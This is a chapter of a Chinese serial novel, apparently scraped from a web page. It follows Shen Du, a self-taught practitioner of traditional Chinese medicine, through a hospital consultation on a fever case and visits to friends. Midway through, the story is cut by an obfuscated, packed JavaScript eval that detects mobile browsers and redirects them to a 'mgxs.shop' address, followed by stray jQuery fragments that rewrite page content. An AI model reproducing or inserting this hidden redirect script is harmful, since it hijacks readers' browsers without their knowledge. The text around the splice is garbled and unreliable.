四月的最后一个周六，沈渡在社区义诊时接到了一个电话。电话是林院长打来的，说省中医院有一个疑难病例会诊，问她有没有兴趣来听听。沈渡说好。她把手头的患者看完，脱下白大褂，跟林医生打了个招呼，就出了门。
公交车晃晃悠悠地开着，沈渡靠着车窗，看着窗外的行道树。梧桐树的叶子已经长齐了，绿得很深，阳光从叶缝里漏下来，在马路上画了一地碎金。她靠着车窗，闭上眼睛，脑子里在过今天上午的几个病例——一个糖尿病足的老太太，一个慢性胃炎的中年男人，一个失眠的年轻女孩。每个人的脉都不一样，每张方子也不一样。她在心里把那些方子重新默了一遍，确认没有用错药。
省中医院的会诊在行政楼的会议室。沈渡到的时候，里面已经坐了不少人，大多是中老年医生，穿着白大褂，胸前别着工牌。她找了个角落坐下。林院长坐在主位，旁边是一个她不认识的女医生，四十多岁，短发，戴着黑框眼镜，表情很严肃，手里拿着一支笔在病历上写写画画，从始至终没有抬头。
会诊的病例是一个不明原因发热的患者，住了快一个月了，烧退了又烧，各种检查都做了，就是找不到病因。各位医生各抒己见——有说是病毒感染的，有说是风湿免疫病的，有说是隐匿性肿瘤的。林院长听完大家的意见，把目光转向那个短发女医生。
“陈主任，你有什么看法？”
陈主任放下笔，抬起头。她的声音不大，但很清楚：“患者发热之前有没有去过外地？有没有接触过动物？有没有吃过不干净的东西？这些问了吗？”
管床医生愣了一下。“问了。没有相关病史。”
“那他的嗜酸粒细胞计数查了吗？”
“查了，正常。”
“骨穿做了吗？”
“做了，没有异常发现。”
陈主任沉默了一阵，说：“我建议查一个寄生虫全套。不明原因发热，嗜酸粒细胞不高，不代表没有寄生虫。”管床医生在病历上记了下来。会诊结束后，沈渡走出会议室，在走廊里等林院长。林院长出来的时候，她跟上去，问了那个陈主任是谁。
“陈槿，急诊科的副主任。西医底子很扎实，临床思维特别清晰。”林院长看了她一眼，“你以后有机会，可以跟她学学。急诊科最能锻炼人。”
沈渡把“陈槿”这个名字记在了心里。她没有想过自己会去急诊科，她连执照都没有，急诊科怎么可能要她。但她记住了这个名字，也许以后会有机会。
周日，沈渡去了陈媛家。陈媛的头发已经长得很长了，可以扎起来了。她扎了一个小揪揪，后脑勺上翘着，像一只小鸭子的尾巴。沈渡摸着那个小揪揪，说：“像猕猴桃。”陈媛笑了。“你现在就会说猕猴桃。你要是没什么形容词了，就闭嘴。”
沈渡闭嘴了。她坐在沙发上，陈媛的丈夫端了一盘水果过来，苹果、香蕉、橙子。沈渡拿了一个苹果，没有吃，放在手心里转。陈媛看着她的手，忽然说：“沈渡，你的手上怎么有茧了？”
沈渡摊开手掌。右手食指和中指的指腹上有薄薄的茧，是练针磨出来的。左手的茧少一点，是把脉的时候那个位置。她把手握起来。
“练针磨的。”
“你对自己真狠。”
“不狠学不会。”
陈媛从果盘里拿起那个苹果咬了一口，嚼了两下。“你这人什么都好，就是对自己太苛刻。你帮了那么多人，怎么就不能对自己好一点？”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17642355|206186||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
沈渡不知道怎么回答。她不是不对自己好，她是舍不得对自己好。她觉得她还没有资格，等她考上了执照，等她成了真正的医生，等她不再只是“会一点中医的人”，她再对自己好。但她不知道那个“等到”是什么时候，也许永远等不到，也许已经到了。
从陈媛家出来，沈渡去了徐敏那里。念念五个月了，会坐了，坐不稳，摇摇晃晃的，像一棵被风吹歪的小树。徐敏在旁边扶着她的腰，不敢松手。沈渡蹲下来，把念念的两只小手握在掌心里。念念的手很小，只能握住她的两根手指。
“念念，你以后想当医生吗？”念念不知道医生是什么，她只是看着沈渡，嘴角往下撇了撇，又想哭又在忍。沈渡松开手，念念的嘴角又弯上去了。
徐敏在旁边看着，忽然说：“沈渡，你有没有想过，你以后会是什么样子？”
沈渡想了想。“不知道。可能是医生，可能不是。但不管是什么，我都不会停下来。”
晚上沈渡回到家，第一件事还是去看绿萝。断藤的新芽又长大了一点，那片小叶子已经展开了，嫩绿色的，叶脉很细，像一张很小的地图。她伸出手指碰了碰，叶子颤了一下，像是在回应她。
沈渡在窗台边站了许久。她想到了今天会诊时那位陈主任，想到了林院长说的“急诊科最能锻炼人”，想到了裴衍的邀请。她不知道这些事之间有什么联系，但它们都在她脑子里，像几条还没有交汇的河流。河在流，水在走，她只需要顺着水流的方向，总会到海。
她把窗台上的两盆绿萝调了个位置。新芽的这盆放到阳光最好的地方，老盆的那盆挪到旁边。她不知道有没有用，但她在试。试了，才知道。
（第四十八章完）